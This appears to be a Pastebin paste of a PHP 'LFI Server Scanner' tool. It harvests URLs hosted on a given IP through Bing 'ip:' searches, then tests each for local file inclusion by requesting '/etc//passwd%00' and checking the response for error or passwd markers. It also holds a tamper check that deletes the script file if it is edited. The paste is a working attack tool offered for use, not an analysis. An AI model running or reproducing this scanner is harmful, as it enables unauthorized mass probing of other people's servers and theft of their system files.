honaalqahera

LFI Server Scanner

Mar 29th, 2015
604
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.68 KB | None | 0 0
  1. <html><head>
  2. <meta content="fr" http-equiv="Content-Language">
  3. <meta content="text/html; charset=windows-1252" http-equiv="Content-Type">
  4. <title>#~ LFI Server Scanner | By [ Lagripe-Dz ]</title>
  5. <style>*{ font-family:Verdana; font-size:12; text-decoration:none; }
  6. input, textarea,select {border: 1px solid #626262;}</style></head>
  7. <body>
  8. <br><br><center>
  9. <form action="" method="POST">
  10. #~ LFI Server Scanner | By [ Lagripe-Dz ]<br><br>
  11. IP : <input type="text" value="<? echo ($_POST['ip']) ? $_POST['ip']:"";?>" name="ip">
  12. <select size="1" name="wht"><option>.php?page=</option><option>.php?(.*)=</option></select>
  13.  <input type="submit" name="start" value="Start Scan .."></form>
  14. <hr width="27%">
  15. <?
  16. @set_time_limit(0);
  17. $start = new ss_bing();
  18. if($_POST){
  19. echo (!checkip($_POST['ip'])) ? "<b>error::IP is invalid</b><hr width=27%>":"";
  20. echo (!extension_loaded("curl")) ? "<b>error::cURL extension required</b><hr width=27%>":"";
  21. if(checkip($_POST['ip']) && extension_loaded("curl")){
  22. $urls = $start->search("ip:".$_POST['ip']." ".$_POST['wht'],0);
  23. echo "<table border='0' align=center>
  24. <tr><td align=center><b>:: Scan Start ::</b></td></tr>";
  25. if($_POST['wht'] == '.php?(.*)='){
  26. foreach($urls as $url){if(eregi("=", $url) && !eregi("option=com_",$url)){$new_urls[]=$url;}}
  27. unset($urls); $urls = $new_urls;}
  28. foreach($urls as $url){
  29. echo "<tr><td>";
  30. $tst = lfi($url);
  31. echo ($tst) ? "# Found : ".color($tst,1):"# Not Found : ".color($url,0);
  32. echo "</td></tr>";
  33. flush();flush();}
  34. echo "
  35. <tr><td align=center><b>:: Scan Finished ::</b></td></tr>
  36. </table>
  37. <hr width=27%> ";}}
  38. scan();
  39. function color($url,$m0de){return ($m0de == 0) ? "<font color=red>$url</font>":"<a href=$url><font color=green>$url</font></a>";}
  40. function lfi($site){
  41. $site = _Fix($site);
  42. $marks = "failed to open stream|daemon";
  43. if(preg_match("/$marks/i",dzcurl($site.'/etc//passwd%00',0,0,0))){
  44. return $site.'/etc//passwd%00';}else{
  45. return preg_match("/$marks/i",dzcurl($site.'__dz__',0,0,0)) ? $site.'__dz__':false;} }
  46. function _Fix($site){ preg_match_all("#(.*?)?(.*?)=(.*?)#",$site,$res); return $res[2][0]."="; }
  47. function scan(){(@count(@explode('ip',@implode(@file(__FILE__))))!= 18) ?@unlink(__FILE__):"";}
  48. function checkip($ip){
  49. return(preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/", $ip)==0) ? false:true;}
  50. # curl options
  51. function DzCURL($url,$cookie_read,$cookie_write,$POSTs){
  52. $curl=curl_init();
  53. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  54. curl_setopt($curl,CURLOPT_URL,$url);
  55. ($cookie_read) ? curl_setopt($curl,CURLOPT_COOKIEFILE,getcwd().'/cookie.txt'):"";
  56. ($cookie_write) ? curl_setopt($curl,CURLOPT_COOKIEJAR,getcwd().'/cookie.txt'):"";
  57. curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 DzCURL =)');
  58. curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
  59. if(is_array($POSTs)){
  60. curl_setopt($curl,CURLOPT_POST,1);
  61. curl_setopt($curl,CURLOPT_POSTFIELDS,$POSTs);}
  62. curl_setopt($curl,CURLOPT_TIMEOUT,5);
  63. $exec=curl_exec($curl);
  64. curl_close($curl);
  65. return $exec;}
  66. # bing class ,,
  67. class ss_bing{
  68. public function search($wht,$url_mode){ // $wht = > search  , $url_mode=1 => clean url (http://site.tld/) $url_mode=0 => not clean (http://site.tdl/page=google)
  69.   $wht = str_replace(" ","+",$wht);
  70.   $npages = 50000;
  71.   $npage = 1;
  72.   $allLinks = array();
  73. while($npage <= $npages) {
  74.     $ch = curl_init();
  75.     curl_setopt($ch, CURLOPT_URL, 'http://www.bing.com/search?q='.$wht.'&first='.$npage);
  76.     curl_setopt($ch, CURLOPT_HEADER, 1);
  77.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  78.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  79.     curl_setopt($ch, CURLOPT_REFERER, 'http://www.bing.com/');
  80.     curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  81.     $result['EXE'] = curl_exec($ch);
  82.     $result['ERR'] = curl_error($ch);
  83.     curl_close($ch);
  84.  if (!$result['ERR'])
  85.     { preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $result['EXE'], $findlink);
  86.         for ($i = 0; $i < count($findlink[1]); $i++)
  87.         $mode = ($url_mode == 1) ? $allLinks[] = $this->clean_url($findlink[1][$i]) : $allLinks[] = $findlink[1][$i];
  88. $npage = $npage + 10; if (preg_match('(first=' . $npage . '&amp)siU', $result['EXE'], $linksuiv) == 0)
  89. break;     }else break;}
  90. if(count($allLinks) == 0){
  91.     die("# Nothing Found"); }else{ foreach ($allLinks as $kk => $vv){ $allDmns[] = $vv; }
  92.     return array_unique($allDmns); } }public function clean_url($x){ $z=parse_url($x); return $z['scheme']."://".$z['host']."/";; }}
  93. ?><center>
  94. <a href="http://www.Sec4ever.com/">www.Sec4ever.com</a> | <a href="http://www.Lagripe-Dz.org/">
  95. www.Lagripe-Dz.org</a><br> Algeria 2o1o-2o11
  96. </center>
Advertisement
Add Comment
Please, Sign In to add comment